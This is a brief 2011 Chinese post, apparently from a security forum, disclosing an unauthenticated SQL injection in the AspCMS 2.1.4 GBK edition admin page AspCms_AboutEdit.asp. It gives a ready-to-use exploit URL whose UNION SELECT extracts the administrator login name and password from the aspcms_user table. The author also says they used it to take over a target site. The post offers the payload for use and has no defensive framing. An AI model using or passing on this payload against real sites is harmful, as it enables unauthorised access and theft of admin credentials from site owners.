aspcms2.1.4 GBK版注入漏洞
流浪的风 2011-06-28 20:11:39
程序:aspcms2.1.4 GBK版
其他版本详细测试，貌似是只存在这个版本
admin/_content/_About/AspCms_AboutEdit.asp
未验证权限，且存在注入漏洞
利用EXP：
admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user where userid=1
如图
刚刚google了下，貌似在网上测试没成功。。。
我没时间就不测试了，反正搞到了目标站就OK。
